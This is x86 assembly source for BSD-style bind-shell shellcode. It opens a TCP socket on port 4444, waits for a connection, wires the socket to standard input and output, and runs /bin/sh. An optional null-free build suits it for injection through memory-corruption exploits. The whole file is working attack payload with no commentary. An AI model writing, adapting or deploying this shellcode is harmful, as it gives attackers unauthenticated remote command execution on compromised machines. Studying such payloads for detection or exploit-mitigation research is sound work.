.globl main #.equ NONULLS, 1 main: nop __BEGIN__: startup: build_lcall: .ifdef NONULLS push $0x3cfff8ff notl (%esp) xor %eax, %eax mov $0x9a, %al .else push $0xc3000700 mov $0x9a, %eax .endif cdq push %eax mov %esp, %edi run: xor %ecx, %ecx mul %ecx socket: push %eax inc %eax push %eax inc %eax push %eax mov $0x61, %al call *%edi bind: push %ecx push $0x5c110210 mov %esp, %ebx push $0x10 push %ebx push %eax push $0x68 pop %eax call *%edi pop %esi listen: push %esi mov $0x6a, %al call *%edi accept: push %ecx push %ecx push %esi mov $0x1e, %al call *%edi mov %eax, %esi dup: mov $0x2, %cl dup_loop: mov $0x5a, %al push %ecx push %esi call *%edi dec %ecx jns dup_loop execve: push %edx push $0x68732f2f push $0x6e69622f mov %esp, %ebx push %edx push %esp push %ebx mov $0x3b, %al call *%edi __END__: int3